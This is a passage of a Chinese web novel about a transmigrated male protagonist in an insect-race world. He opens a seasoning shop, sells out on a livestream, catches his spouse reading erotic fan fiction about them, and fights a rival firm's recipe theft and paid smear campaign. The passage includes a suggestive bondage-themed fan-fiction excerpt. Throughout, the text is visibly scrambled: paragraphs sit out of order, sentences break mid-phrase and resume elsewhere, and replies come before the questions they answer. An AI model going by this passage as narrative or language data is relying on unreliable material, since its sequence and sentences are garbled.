虽然他不能解释,为什么自己的调料会起名为“种花”,也不能告诉虫族,在遥远的地方,有一颗漂亮的蓝色星球,那里生活着一个勤劳勇敢的民族,叫做“种花族”。 但至少,他把种花两个字带到了虫星。 “阁下?” 一道苍老的声音在耳畔响起,安瑞猛地回头,就对上了一双碧绿色的眼睛。 “新店开业,怎么瞧着您却有些感伤?” 安瑞立刻紧急调整表情,做出一副高兴的模样:“害,这不是喜极而泣嘛。” 达蒙不置可否地点点头,在一片喝彩声中,引着安瑞一起进入了调料店。 * 剪彩仪式结束,但今天的直播重头戏才刚刚开始。 安瑞举着智脑:“各位,下面我要给大家介绍一下种花调料店的产品了。” 他走到货架边,举起一瓶酱油:“这一款是手工酿造的酱油,和我在直播的时候用的一模一样,一瓶500ml,价格是99星币,开业大酬宾,买二赠一,上架。” 【AAA纯情小军雌:不是,这就没了?】 【翅膀硬了:艹,链接不是刚放上去吗】 【午饭吃什么:拍不了,显示没库存了】 安瑞惊讶地挑起眼眉:“真的吗,您方便说一下虫娱账号,我给您点关注。” 达蒙摆摆手:“我平常也不发视频,就不用关注了。” 安瑞原本就是客套一句,被拒绝后也没多想,看了眼时间:“十点了,要不咱们开始?” 几只虫客套了一番,最后还是把安瑞和达蒙让到了中间。 两只虫一手牵一根红绳,在鞭炮声中轻轻一拽,红布倏地落下,露出了一块红底金字的牌匾,上面是五个大字——种花调料店。 崭新的招牌在阳光下熠熠生辉,安瑞看着种花两个字,眼眶悄然有些湿润。 穿越到这个陌生的星球半年,哪怕有诺拉艾米,哪怕在蓝星已经没什么亲人了,午夜梦回间,安瑞也总会想起那个漂亮的蓝色星球,还有那个生他养他的故乡。 “大家稍等一下,可能是运营这边出了点问题。” 安瑞看向负责运营的亚雌,还没等他说话亚雌已经无辜摊手:“阁下,我按您的要求上架了三万单,没问题的。” 【西瓜彩虹糖:咖喱块,一星币,我能裤裤买十盒】 【AAA纯情小军雌:这么便宜,成本价都不够吧,所以这也是开业大酬宾的一环?】 “不是开业优惠,从今往后,只要种花调料公司还在一天,这款咖喱永远一星币一盒。” 【甜甜圈拌米饭:永远一星币,好小众的词汇……】 【逛吃逛吃:已经准备好开抢了】 【萱儿:安安这是什么逻辑,我突然不是很懂了,难道是做慈善?】 “说做慈善也没错,这款评价咖喱产品确实是在赔本销售。”安瑞眉眼间含着淡淡的笑意,声音柔和,“我知道在虫星,可能有一部分朋友因为各种原因,暂时遇到了困难,不得不买一些廉价的蔬菜,我希望我的咖喱能帮你把一日三餐变得更美味一些。” 诺拉站在安瑞身后,看着自家雄主浅笑着介绍这款平民咖喱,不知道为什么,眼眶悄然红了。 他是从第九街区走出来的,小时候也不止一次吃过那些廉价的蔬菜和肉食,如果那个时候能有这样一款咖喱,或许他的童年会幸福很多,雌兄约不需要咬着牙买那些昂贵的食盐和白糖。 安瑞:…… 还没等安瑞解释完,新加的一万单库存又没了。 安瑞只好忽视了弹幕里没抢到的网友的鬼哭狼嚎,强行转到下一个产品,米醋。 就这样,不到,两个小时,从酱油到辣椒油,再到咖喱块,几乎所有品种的调料全部一抢而空,直播间营销额华丽丽地突破了三千万。 观众嗨疯了。 第六十一章同虫文 在直播的最后,安瑞拿出了一款特别的咖喱。 “各位,这是今天直播的最后一样产品,之所以把他放在最后,是因为这款咖喱和之前的其他调料有所不同,一整盒咖喱块只要1星币。” 【草莓冰棒:多少钱???】 虽然他的童年已经不能改变了,但好在往后第九街区的虫崽都不会再重蹈他的覆辙。 真好。 早知道不搞什么买二送一的活动了。 【草莓冰棒:三万单,秒没,还得是我家安安啊】 【今天找到雄主了吗:幸亏我手快,抢到了三瓶嘿嘿嘿】 【西瓜彩虹糖:能不能分我一瓶,没抢到的要哭了】 安瑞用眼神示意维加:“库存还有多少,能加吗?” 维加打开智脑点了几下:“最多再加一万单。” “行,那最后再加一万单,没有就是没有了,大家理解一下,因为酱油酿造周期比较长,我们新店开业可能库存没那么多。” 正在直播的安瑞浑然不知诺拉被他狠狠感动了一把,还在认真地介绍平民咖喱。 “因为这款产品确实是赔本,为了更多需要他的朋友能买到,这款产品每个账号限购一个。另外因为他毕竟是评价调料,口味肯定没有之前介绍的那几款好,主要是起到掩盖变质食物的作用,所以请大家根据自己的经济状况,按需下单。” 【翅膀硬了:支持安安,那我就不买了】 【草莓冰棒:贫困大学牲应该算是目标虫群吧】 主播做到他这个体量,不被黑才不正常。 不管网友说什么,他行得正坐得端,路遥知马力,日久见人……啊不虫心。 * 与此同时,福瑞斯集团总裁办公室,道格拉斯面色阴沉地盯着智脑上直播的雄虫,左手食指在巨大的实木办公桌上一点一点的。 亚雌秘书战战兢兢地陪在旁边,一句话都不敢说。 种花牌调料一出,福瑞斯集团的销量肯定会锐减,他可不能在这种时候触了总裁的霉头。 “种花调料公司。”道格拉斯喃喃自语,忽然抬头看向亚雌秘书,“这个公司的资料有吗?” “已经整理好了,我现在去打印。” 亚雌秘书飞奔出办公室,打印了资料,又飞快地放在道格拉斯的办公桌上,这才松了一口气。 幸好早上种花调料公司出现在热搜上的时候,他就让市场部快马加鞭做了一份资料,要不然还真来不及。 谁不知道他们家总裁看起来好说话,其可难伺候了,一件事做不好,饭碗就没了。 银发雌虫目光阴沉,一页一页认真翻看着资料,忽然眼神一变。 “种花公司雇佣的都是第九街区的虫?” 亚雌点头:“是,市场部还专门去工厂看过,调料厂百分之九十的员工都来自第九街区,而且全部是因为精神海受损退役的军雌。” “精神海受损,退役军雌?”道格拉斯好像听到了什么又去的事,嘴角浮现出几分讥笑,“真没想到,安瑞这么大的虫了,居然还是个理想主义者。” 道格拉斯把资料放在桌上,装似随意地问亚雌秘书:“你说,他好好的一只雄虫,不在家里享受美好生活,干嘛非得出来开公司啊。” 亚雌秘书抿着唇,实在不知道该说点什么。 【晚风轻抚:呵,什么做慈善,不就是沽名钓誉吗,现在虫网的粉丝都这么降智了】 【圆圆不方:做生意的,那会做赔本买卖,上面的几个都是水军吧】 【翅膀硬了:艹,我真的,你才是水军呢,我&%@#@】 【萱儿:前面的别太搞笑了,你先别说安安的目的是什么,他是不是确实让很多穷虫买得起调料了】 【今天找到雄主了吗:前面那几只虫真的,我说话难听我先闭嘴了】 安瑞脸色平静地看着满屏的弹幕,一点生气的意思也没有。 好在道格拉斯只是感叹一句,并没有期待亚雌秘书回复的意思。 “过度的善良就是愚蠢,安瑞要为他的烂好心付出代价。”银发雌虫把资料扔进垃圾桶里,一 * 第一场直播,库存调料就被卖掉了九成,安瑞每天往返在调料厂和仓库里,一边组织员工扩大生产,一边监督仓库给下了单的网友发货,忙得脚不沾地。 双狭长的眼眸中射出阴森的光芒,“去查查,那些员工里有没有家庭困难的,最好是那种家虫生了重病,特别缺钱的。” 亚雌秘书点点头,刚刚要出去,就听道格拉斯在身后说:“如果没有也没关系,找底下的虫制造出一个就好了。” 亚雌秘书忍不住打了个冷战,低头应是,而后快步离开了总裁办公室。 一顿丰盛的晚饭后,安瑞把艾米哄回房间睡觉,才回到主卧,靠在床上一边刷智脑,一边等着在浴室洗漱的雌虫。 忽然,诺拉放在床头的智脑响了几声,安瑞下意识地瞟了一眼,就见屏幕上弹出了一条消息。 ——您订阅的合集《【安瑞×诺拉】地下室的秘密》更新啦,快去看看吧。 好看的眉毛微微拧起,安瑞垂眸看着那条注明同虫APP发送的系统通知。 这都什么乱七八糟的。 安瑞很早之前就知道虫网上一直有虫写他和诺拉的同人……虫文,但也仅仅是知道而已,并没有仔细看过,没想到自家雌君居然还会看这种东西? 安瑞把诺拉的智脑放在一边,打开自己的智脑,下载了那个APP,打开,在搜索框上输入安瑞两个字。 下一秒,页面上跳转到安瑞诺拉的标签,2700万浏览,10万参与。 安瑞:…… 好在功夫不负有心虫,种花调料公司第一个月的营业额达到了3257万星币,虽然因为调料本身的属性,后面几个月的营业额可能会下降三分之二甚至一半,但也已经超乎安瑞和夏洛的预料了。 根据财务部门的计算,如果一切顺利,三个月之后就能收回前期投资,实现盈利。 公司走上了正轨,安瑞也终于能够早点回家陪陪诺拉和艾米了。这一个月他每天早早出门,夜里才能回家,每天过得兵荒马乱的,幸好最近军部不算忙,艾米又格外懂事,才能将将应付下来。 他在同虫网站这么火的吗? 可能是因为刚刚刚更新,那篇短文合集居然在最上面,安瑞点进去,五分钟之前发的文居然已经有了上百个点赞。 【《笼中之雀》】 几秒种后,安瑞再一次愣住了。 评论区不仅没有吐槽,反而充满了褒奖之词。 “太香了”“好好吃”“老师饭饭饿饿”…… 好吃你个头啊。 果然,他不该对这群每天就想着交×和生蛋的虫子保有什么幻想。 安瑞压着心里的火,把合集里十几篇文章粗粗翻了一遍。 作者的文风十分统一,把他塑造成了一个“无恶不作”的变态,诺拉则是一只惨兮兮,任由他蹂躏的可怜虫。 安瑞深深扶额。 他在网上到底是个什么形象啊,网友瞎写也就算了,诺拉居然还看得津津有味。 安瑞刚关上智脑,诺拉就从浴室里钻了出来。 一个月没有好好温存,诺拉心里也是想的,于是也没穿睡衣,就随便批了个松松垮垮的浴袍。 军雌迈着修长有力的腿上了床,乖顺地跪行到安瑞身边,刚要解安瑞睡衣的扣子,就被雄虫面无表情的推开了。 【我本是天空中翱翔的雄鹰,却甘愿为他,做那笼中乖巧的金丝雀……】 安瑞挑了挑眉,没想到虫族的太太文笔还挺好。 他手指轻滑着页面,饶有兴趣得往下看,刚看了两行就愣住了。 全篇除了题记,全是十八禁的内容。 什么鞭子手铐都是洒洒水,花样繁多到蓝星花市的太太都忍不住拱手称一句大神。 安瑞眉头紧皱,只觉得头皮发麻。 这都什么和什么啊。 他匆匆滑到文章底部,打开评论区。 他就不信了,这么黄*暴的文章,就没有网友吐槽吗? 蓝色的眸子微微挑起,里面露出几分疑问的神色。 安瑞冷哼一声,拿过床头的智脑就扔在了雌虫。 “你订阅的《地下室的秘密》更新了,诺拉中将不打开看看吗?” 诺拉:!!! 第六十二章低价竞争 安瑞一拍开军雌的手:“把智脑打开,我看看你还订阅了什么文章。” 诺拉的脸色顿时变了。 要知道,他不仅偷偷订阅了好几个合集,还发了不少评论。 他现在注销账号还来得及吗? 诺拉眼巴巴地看着安瑞,想着装个可怜混过去,可惜安瑞压根不吃他这一套,一双黑眸不喜 黑色的弯眸里闪过几分愕然,眼珠微微一转,就收起了眼里的笑意。 他关上智脑,看着跪坐在一边,忐忑不安的雌虫:“你每天就看这些乱七八糟的?” 诺拉以前一门心思都扑在工作上,确实不知道世界上还存在同虫文这么个东西。 还是上个月种花调料店剪彩直播的时候,他看了弹幕,才知道居然还有网友给他和雄主写文章。 原本只是一时好奇,在网上随便搜了搜,谁想到竟然越看越入迷,还专门下载了同虫文APP,注册了账号,一口气订阅了十几个合集。 一开始他还比较收敛,只在军部午休的时候看,可后来发现安瑞回家回得越来越晚,根本没时间盯着他,也就慢慢放开了,谁想到今天居然被抓了个正着。 诺拉窘迫得红了脸,可怜兮兮地去拽安瑞的袖子:“雄主,诺拉错了,诺拉就是……就是随便看看的。” 诺拉跪坐在床边,轻轻嘟囔了一句:“那谁叫您每天那么晚才回来。” “喜欢这些东西是吧?”安瑞似笑非笑地看着诺拉,“那不如跟我分享分享?” 诺拉小心翼翼地瞥了一眼安瑞的表情:“怎么……怎么分享?” 安瑞靠在床头,把智脑往诺拉面前一扔,干脆利落道:“念。” 苍蓝色的眼睛瞬间瞪大了,诺拉满脸通红,可怜兮兮地看着安瑞:“雄主,诺拉……诺拉……” “快点,要么念,要么就把这个APP给我卸载了。” 诺拉:…… 三分钟后,卧室里传来了诺拉低沉的声音。 “《笼中之雀》,我本是天空中翱翔的雄鹰,却甘愿为他,做那笼中乖巧的金丝雀。”诺拉吞吞吐吐地念完题记,一边念一边往安瑞脸上瞟。 安瑞淡淡地嗯了一声:“继续。” “今天是我到雄主家的第三天,我按照管家立的规矩跪在地下室的地毯上,期待着……期待着雄主的临幸。” 诺拉的声音越来越小,耳尖红得滴血,脚趾无意识地扣着床单。 都怪这个写文的,居然还用了第一虫称,读起来就好像他自己真的是文章里的那个诺拉一样。 但是安瑞没有喊停,诺拉也不敢不念,只能吭哧着继续:“地毯又厚又软,跪着一点都不疼,我等了一个小时,雄主终于出现在了门口。漆黑的眼眸中含着深不见底的笑意,雄主坐在床边,冲我招招手,我就膝行着蹭过去,雄主从床头拿出绳子,虚虚地把我的双手绑在身后。虽然那个绳扣我轻轻一挣就能打开,但我没有。雄主用手指描摹着我的五官,最终停留在了不怒的就那么看着他。 诺拉挣扎了一会儿,到底还是败下阵来,垂头丧气地把智脑打开递了过去。 安瑞接过来,打开那个熟悉的APP,刚点进个人主页,就看到了一个熟悉的用户名。 《地下室的秘密》里面几乎每篇文底下都有这个账号的评论。 ——老师写的很好,赞! ——提一个小建议,诺拉是不会反抗雄主的…… ——老师写的很甜(点赞)(点赞)(点赞) 淡色的眉毛紧紧皱起,安瑞忍不住又打开文章,仔细对照。 就是诺拉的账号没错。 我的唇边,我侧过头,伸出舌头……” 安瑞用脚碰了碰诺拉的膝盖:“继续啊,怎么停了?” “我伸出舌头……伸出舌头……”诺拉急得眼尾泛起红晕,看着文章下面大段大段露骨的描述, 好不容易消下去的红晕再次出现了诺拉脸上,他偏过头,小心翼翼地将安瑞的手指含在了嘴里。 夜还很长…… * 第二天。 安瑞正给艾米盛豆浆,忽然就见小虫崽指着诺拉惊呼了一声。 “雌叔,你脖子上怎么有一道红印?” 安瑞捏了捏诺拉脸边地软肉:“喜欢文里那么来?” “啊?”诺拉一脸茫然。 安瑞轻笑了几声,伸出修长白皙的手指,放在了诺拉的嘴边。 “你雌叔脖子上的红印是看智脑看得,乖乖别担心。” 小虫崽眨着一双滚圆的眼睛,睫毛又卷又翘,像两把小扇子一样。 “看智脑居然还会脖子上长红印吗?” “会呀,所以小艾也要学会适度上网,别看那些不该看的,知道不?” 安瑞一边说,一边轻飘飘撇了诺拉一眼。 诺拉被臊得耳朵尖通红,几口喝干了碗里的豆浆,拿着军装外套仓皇而逃。 安瑞把小虫崽送去上学,刚想着要不要开一场直播,忽然就看到虫网上出现了一条热搜。 【福瑞斯集团官宣新产品】 安瑞心中生出几分不好的预感,点开词条,置顶是福瑞斯集团官方账号发的一条帖子。 【小福家的新产品来啦,0添加酱油,一瓶只要19.8星币,5月1日上线,敬请期待哦】 自从开调料厂以来,安瑞就想到了会有竞争对手打调料配方的主意,只是没想到来的这么快。 还没等他多看几条帖子,智脑上弹出了夏洛的语音申请。 安瑞刚点了接听,那边就传来了亚雌焦急的声音:“热搜你看了没,格林家族的虫真不要脸。” “我刚刚看了,不就是福瑞斯集团也出了酱油么。” 安瑞的声音不疾不徐,好像这件事跟他没什么关系一样。 “你看到福瑞斯集团的定价了吗,一瓶酱油19.8星币,这不是算准了要跟咱们打价格战吗。”夏洛的声音更急了几分,“格林家族垄断着整个虫星的舒缓剂,那可是上百亿星币的大买卖,真要是打起价格战,咱们绝对会被耗死。” “你别着急。”安瑞温声安抚,“车到山前必有路,想看看福瑞斯集团做出来的酱油什么样吧。” 酱油要是真这么容易背复刻出来,他也不敢开调料公司。 挂了语音,安瑞垂眸想了想,又给维加发了个语音申请。 “阁下日安。”智脑里传来工厂机器运作的嘈杂声音,“您有什么吩咐吗?” 安瑞开门见山:“我怀疑咱们酱油的配方可能被泄密了。” “按您的要求,所有员工都签了保密协议,而且每个操作间都是隔离的……” 维加语速飞快,焦急地解释。 诺拉浑身一僵,下意识地扯了扯军装的领子:“哪里有什么红印,你看错了吧。” “真的有,很深一道。” 艾米从凳子上跳下来,噔噔噔跑到诺拉面前,抬手就要扒诺拉的领子。 诺拉吓了一跳,低声斥了一句:“回去吃饭,有没有点规矩。” 艾米顿时被吓得不敢再动,一双蓝色的大眼睛里浮现出了水雾。 诺拉看虫崽这幅样子,一时有点后悔,又不知道该怎么哄,只好求助得看向安瑞。 安瑞假装没看见,只是自顾自坐在位子上喝豆浆看戏,直到诺拉的眼神里带了几分哀求的神色,才大发慈悲地站起来,把小虫崽拉到自己身边。 忽然向前径直扑到了安瑞怀里,用脸使劲蹭着自家雄主的脖子,“诺拉知道错了,您……您就饶了诺拉这回吧。” 安瑞一手搂着诺拉,一手轻轻挑起他的下巴:“还敢不敢看这些乱七八糟的了?” 诺拉使劲摇头:“不敢了。” 至少不敢再在家里看了。 “我知道,现在形式应该还处于可控阶段,你这几天帮我查查监控,看看有没有可疑虫员。” 维加语气一变,认真道:“我明白了,阁下放心。” * 与此同时,福瑞斯集团总裁办公室。 虽然他现在是福瑞斯集团的CEO,也是格林家族公认的继承者,但他上面有三个雌兄,下面还是七八个雌弟,全都虎视眈眈地盯着他这个位子。 诺拉轻轻咬了一下嘴唇,又赶紧松开:“您也别太担心了,诺拉努力挣军功,努力赚钱……” 安瑞忍不住笑了,双手搂住诺拉的脖子,半开玩笑地眨眨眼:“那就要辛苦我家中将了。” “雄主。”诺拉被安瑞弄得耳尖有些泛红,“我是跟您说认真的。” “行了,不闹你了。” 安瑞放开诺拉,拿起手里的酱油,倒在碗里,用筷子尖蘸了一点,刚添了一下,眼睛里就露出了淡淡的笑意。 就这东西,还想跟他打价格战,别说是19.8一瓶,就算是1.98一瓶,也不见得有虫买。 “雄主?” 安瑞猛地回过神来,用筷子又蘸了一点盗版酱油,递到诺拉嘴边:“尝尝?” 他要是把调料市场让出去,恐怕要不了多久福瑞斯集团的CEO就要换虫了。 想到这,道格拉斯一咬牙。 “颜色浅就加色素,味道轻就加食盐,长了灰毛就过滤出去,5月1号,我要看到新产品上架,明白了吗?” 亚雌秘书神色一凛,忙不迭地点头:“是。” 第六十三章反击 5月1日,福瑞斯集团的酱油如期上架。 种花牌酱油99星币一瓶,虽然买二送一的活动还没结束,但合下来一瓶也要60多星币,不算特别贵,但相比于19.8一瓶的酱油,显然不是很有性价比。 诺拉下班回家,把安瑞托他买的酱油放在桌上,忧心忡忡地看着自家雄主,想劝解两句,却又不知道该从何劝起。 毕竟,福瑞斯集团背后的实力过于强大,就算是他这个完全不懂生意的虫也知道,这场价格战,自家雄主必输无疑。 安瑞刚抬起头,就看见了诺拉一脸纠结的样子,忍不住勾了勾唇角,先把怀里看电视的小虫崽哄回屋子做功课,才轻轻捏了一下自家雌君的脸:“想说什么就说。” 诺拉不明所以地舔了一下,而后就皱了眉:“怎么这么咸,还有点发苦。” 道格拉斯盯着桌上的一瓶棕黑色液体,忍不住皱眉:“这颜色不对啊,而且上面灰色的东西是什么。” 亚雌秘书小心翼翼地解释:“奥德拉说颜色浅是因为制作的时间比较短,至于上面灰色的霉菌,他也不知道为什么会出现。” “荒唐。”道格拉斯一拍桌子,“他不是种花的核心员工吗,怎么这都不知道。” “奥德拉解释说调料厂每个生产线都被分成了不同操作间,员工只能进出自己的操作间。他已经尽力和其他员工打听了,希望您再给他一段时间。” “再给他一段时间。”道格拉斯冷哼一声,“新品预告我都发出去了,怎么宽限时间,更何况再过一个月,市场就要被种花调料给抢完了。” 亚雌秘书只是垂着头,一句话也不敢接。 道格拉斯翻了翻这个月的财务报表,越看越心烦,干脆丢到了一边。 安瑞勾了勾唇角,抬起筷子在雌虫脑袋上轻轻敲了一下:“这回放心了?” 诺拉脸上又露出些红晕,忍不住抬手揉了一下额头。 安瑞放下筷子,又拿起酱油瓶细细观察,忽然看到瓶子底部有几丝灰色的霉菌,如果不仔细看固根本看不出来。 “诺拉,你看看这个。”安瑞生怕自己看错了,把视力比自己强好几倍的雌虫叫过来,“瓶子里面是不是有灰色的东西?” 诺拉凑过来看了一眼:“是有一点灰色的杂质。” 安瑞神色一凛,打开智脑,给夏洛发去了语音申请。 “福瑞斯集团的酱油你买了吗?” “买了,味道不对。”夏洛终于恢复了平日里散漫的语调,“怪不得上次你一点都不着急,原来早就知道福瑞斯集团做不出来酱油。” “你泄密了,但是你没跑,还这么快就承认了。”安瑞声音温和,“所以我猜,你有苦衷,是为了你弟弟,对不对?” 奥德拉猛地愣住了,一双紫罗兰色的眼睛愣愣地看着安瑞,嘴唇却抖得不成样子。 “家里出了事为什么不找我,反倒要被道格拉斯钻了空子。”安瑞轻轻叹了口气,把雌虫从地上扶起来,从兜里掏出一张信用卡,“这里面是二十万星币,就当我借你的,你弟弟手术要紧。” 眼泪大滴大滴落在地上,奥德拉脸涨得通红,却又说不出不要星币的话。 他弟弟自从出生肾就不好,好不容易等来了合适的肾源,家里又凑不够手术钱,他这才背信弃义,把酱油的做法卖给了道格拉斯,只想着拿到星币给弟弟做了手术,就向安瑞自首。 可谁想到,道格拉斯居然说他给的配方不对,拒绝给他承诺的星币,似乎是笃定了他不敢把这件事泄露出去。 “福瑞斯集团的酱油不光是味道不对的问题,酱油里面有霉菌。”安瑞抿着唇,“我在想咱们要不要举报给食品安全部门。” “没事。”安瑞温声打断了维加的话,“福瑞斯集团新出的酱油有问题,咱们还有时间。” 他轻轻晃悠着酱油:“别的操作间都不用查了,你就专心查负责制曲的那几个员工就行。” * 范围一旦缩小,查起来就容易多了,不到三天,维加就给安瑞发消息,说是泄密一事有眉目了。 安瑞赶到工厂,就看到维加薅着一只有些跛脚的中年雌虫走进来,一脚踹在他的腿腕上,把他按着跪下才沉着脸开口:“阁下,之前跟福瑞斯集团泄密的就是奥德拉。” 安瑞坐在椅子上,看着维加一脸很铁不成钢的神色,安抚地朝他笑了笑。 “奥德拉是吧?”安瑞脸上不辩息怒,低头看着跪在地上的雌虫,“为什么?” 跛脚雌虫脸上浮现出痛苦的神色,低垂着头,轻轻说:“对不起,阁下。” 安瑞没理他,只是自顾自说:“道格拉斯给了你很多钱吗,可你这种行为,已经构成泄露商业秘密了,我真要起诉你,你那些钱全得被没收了不说,还得蹲上三年监狱,何必呢?” “我……”奥德拉脸上是一片绝望的灰败,“对不起。” 安瑞摇摇头,忽然从椅子上站起来,走到奥德拉面前,蹲下,平视着他:“酱油制作,制曲是最重要的,所以每个制曲操作间的员工,都是我仔细挑出来的。你曾经是维加手下的少尉,维加说你在战场上舍生忘死,为了守住边境的荒星,不惜拼到弹尽粮绝。” 奥德拉浑身忍不住颤抖,两行浊泪顺着眼角滚滚而下。 “霉菌?那当然得举报了。”夏洛收起调笑的语气,正色道,“我知道你担心什么,但我们亚当斯家也不是吃干饭的,只要事情查实了,不把福瑞斯集团搞黄,也得高低罚他几千万星币。” 安瑞点头:“那这件事就麻烦你了,我也抓紧查查泄密的员工。” 如果能把泄密的员工揪出来,说不准还能依据反不正当竞争法起诉福瑞斯集团。 安瑞和夏洛简单交代了两句,挂断语音,又给维加发了语音申请。 “你最近差得怎么样了?” “阁下,我已经在查了,但是监控太多,我又不敢随便找别的员工帮忙,所以还没查出来。”维加声音里含着自责,“真的抱歉阁下,我……” 他原本已经绝望了,没想到安瑞居然会借钱给他弟弟做手术。 “阁下,我……”奥德拉再次跪了下去,“我谢谢您,等我弟弟手术做完,我自己去公安局自首。” 安瑞把奥德拉扶起来:“自首然后呢,进监狱?放你雌弟自己在外面生活,你放心?” “我……” “这样吧,你帮我个忙,这件事要是做好了,我就签谅解书,这样你也不用蹲监狱了。” 紫罗兰色的眼睛瞬间亮起了光,奥德拉哽咽着点头:“阁下吩咐,只要我能做到的,我都做。” * 十日后。 道格拉斯看着面前依旧颜色不对的酱油,抬手就把酱油瓶扫在了地上。 “真的出事了,刚刚工厂和门店那边传来消息,说是有虫举报咱们生产的酱油不符合食品安全标准,食品安全部门的工作虫去检查了。” 道格拉斯神色一凛:“举报?” 还没等他反应过来,法务部经理也慌慌张张冲进来,手里还拿着一份起诉状:“总裁,不好了,种花调料公司起诉咱们不正当竞争,要求咱们赔偿500万星币的损失。” 道格拉斯被气了个仰倒,接过起诉状一看,证据一栏赫然填着奥德拉的供词,还有前几天奥德拉来跟他说完整配方的录音。 道格拉斯这才反应过来,自己被安瑞算计了,忍不住狠狠一拍桌子,刚要发作,就见一只中年雌虫走了进来。 “雌父?”道格拉斯慌忙起身,声音里不由自主地带了几分恐慌。 “蠢货。”乔治指着道格拉斯的鼻子,“你看看你看的好事。” 道格拉斯被骂得一句话也不敢说,只能垂手站在一边。 乔治气哼哼在总裁椅子上坐下来,道格拉斯亲手倒上一杯水,才小心翼翼地问:“雌父,咱们现在怎么办啊?” “啪”地一声,玻璃瓶登时四分五裂,亚雌秘书也跟着狠狠抖了一下。 “前几天,那个奥德拉不是说查到了完整的酿造方法吗,怎么还是做不出来?” “这,我也不知道,但研发部门确实是按照奥德拉的配方做的。” “让研发部经理过来……” 一句话还没说,市场部经理匆匆推门而入:“总裁,出事了。” 道格拉斯深深皱起眉,拾起桌上的一根笔就丢了过去:“出什么事了大惊小怪的,没有点礼数。” “怎么办?该交罚款交罚款,该赔偿赔偿,该整顿整顿。” 道格拉斯顿时苦了脸:“那咱们家调料不卖了不成?” “愚蠢!”乔治恨铁不成钢地看着自家雌子,“既然做不出来酱油,你就不会让酱油在虫星消失?” 第六十四章谣言 “消失?”道格拉斯怔愣了片刻,“您的意思是?” 福瑞斯集团的赔偿款到账还没有一个星期,网上居然出现了一个吃了种花牌酱油之后上吐下泻的帖子。发帖子的是个没什么粉丝的网友,没想到帖子莫名其妙就火了,紧接着就是扑面而来的各大营销号的帖子。 【震惊,酱油内居然含有致癌物质】 【警惕!一种新型毒*品正在蔓延】 乔治冷笑一声,一双生满了皱纹的眼睛透出阴狠的目光:“既然咱们的酱油有安全问题,为 * “你看到今天早上的新闻了吗?福瑞斯集团被罚了480万星币,生产酱油的工厂也被责令停业整顿。”夏洛喜气洋洋地给安瑞发着语音,“还有,我找的律师团队今天上午跟我说,福睿斯集团那边申请调解,咱们提出的赔偿他们照单全付。” 安瑞忍不住皱了皱眉:“这么顺利?” “就是这么顺利,惊不惊喜,意不意外。”智脑那头传来夏洛美滋滋的声音,“要我看,格林家族这是认怂了,不过他们的重心一向在舒缓剂上,调料那点钱,说不准就让给我们了呢?” 安瑞低垂眼眸,声音里带了几分迟疑:“这么快就服软,不像是格林家族的性格啊。你也别高兴得这么早,小心乐极生悲,被对手钻了空子。” * 安瑞也就是随口一提,却没想到自己竟然真的一语成谶。 【虫崽记忆力下降,原来是因为吃了它】 一时之间,酱油的危害五花八门,简直比耗子药还要毒上三分。除了这些狗血营销号,竟然还有好几个顶着教授、专家头衔的虫,也一本正经地对着镜头说酱油的害处。 除此之外,还有不少更加尖锐的针对安瑞的帖子,说什么安瑞是黑心资本家,一瓶酱油居然什么安瑞的酱油就没有?” 道格拉斯小心翼翼地说:“因为咱们家的酱油酿造手法有问题?” “蠢货!”乔治一巴掌扇在道格拉斯头上,“我怎么生了你这么个蠢货。” 或许是一巴掌打通了雌虫的任督二脉,道格拉斯终于恍然大悟:“雌父高明,您的意思我明白了,我这就去安排。” 卖了60多星币,还有说安瑞的一星币咖喱酱味道有问题,就是因为用了已经腐烂的蔬菜,还在立什么慈善家虫设,简直又当又立。 仅仅是七十二小时的功夫,舆论就已经发酵得满虫网都是,就连诺拉这种常年只关注机甲和吸引雄虫108式的虫,也被推着看了好几篇营销号。 “简直太过分了。” 诺拉气得直接把智脑摔在了沙发上。 恰恰相反,正是他的性别导致他一开始都没法正常上传视频。 第二天,种花调料公司就在网上发布了声明,明确表示公司生产的全部产品均符合帝国安全标准,欢迎大家监督,但对造谣者绝不姑息,将坚决追究法律责任。 声明一出,顿时激起了千层浪,还没等网友反应过来,水军已经扑了上来。 ——黑心调料公司拒不承认事实 ——追究法律责任,他们自己生产的酱油有问题,反倒要追究我们法律责任? ——我就静静地看着,黑心公司什么时候倒闭@食品安全官方账号 按照他的直觉,只要格林家族不是把他给绝育了,雄保协会八成是不会出来管的。 “那怎么办啊?” 诺拉眉头紧皱,一时也想不出什么更好的办法。 “之前不是有虫说过,如果公司开不下去了就养我。”安瑞轻轻勾了一下诺拉的下巴,“不知道中将说话还算不算数。” “雄主!”诺拉使了点劲拍掉了雄虫作乱的爪子,“都什么时候了您还开玩笑。” 看到自家雌君真的急了,安瑞这才摸摸鼻子收回了那副调笑的样子,安抚地亲了亲诺拉的额角:“放心吧,不就是一点谣言吗,我有办法对付。” * “呦,谁惹我家雌君生气了?”安瑞往把排骨炖上,擦着手走到客厅,从身后抱住诺拉,“怎么生这么大气?” “网上的帖子您没看?” “我看了。”安瑞随口应了一句,一双手已经不老实的伸进了诺拉的睡衣里。 “雄主!”诺拉第一次推开了自家雄主,一双眼睛里含着深深的焦虑,“要不咱们还是报警吧,或者找雄保协会,直接告他们诽谤雄虫。” “都是一些工作室找的僵尸号,告也没用,更何况有格林家族在背后,雄保协会怎么敢管。” 来虫族将近一年,安瑞也慢慢感觉到了,雄虫社会地位确实特别高,连虫皇都要行礼,还可以随意打骂处置自己的雌侍雌奴。但与此同时,雄虫也好像一直被养在笼子里的金丝雀,只负责生蛋,为雌虫舒缓精神力,从军政要职,再工农商贩,无一不是雌虫和亚雌在做。 至少,他这一路创业以来,除了凭借雄虫身份意外吸粉那一次,性别并没有给他带来多少红利。 但不管怎么说,有了这条声明,安瑞的一些骨灰级粉丝终于敢下场手撕水军了。 ——造谣要负法律责任,某些公司长点心吧,别什么烂饭都恰 ——笑话,安安在直播里酱油都用了不知道多少回,真要是酱油有毒,他还敢这么吃 ——某些公司吃相有点太难看了,产品做不出来就开始玩阴的是吧 可惜这些粉丝的力量还是比不过公关公司,这些评论很快就淹没在了铺天盖地的水军当中。 不过,安瑞倒是一点都不着急,要是一个声明就能把这场舆论风波化解了,那才是天方夜谭呢。 这篇实验报告一出,不仅安瑞的粉丝怼水军怼得更加有底气,就连原本对酱油有毒言论坚信不疑的网友也不由得开始怀疑,那些营销号发的帖子会不会真的是谣言。 当然,公关公司不可能这么快认输,他们不敢攻击德高望重的弗兰克教授,就让水军把矛头对准了安瑞。 ——怎么保证送去实验室检验的酱油和卖给我们的酱油一模一样呢 ——要是酱油没毒,福瑞斯集团为什么会被责令整改 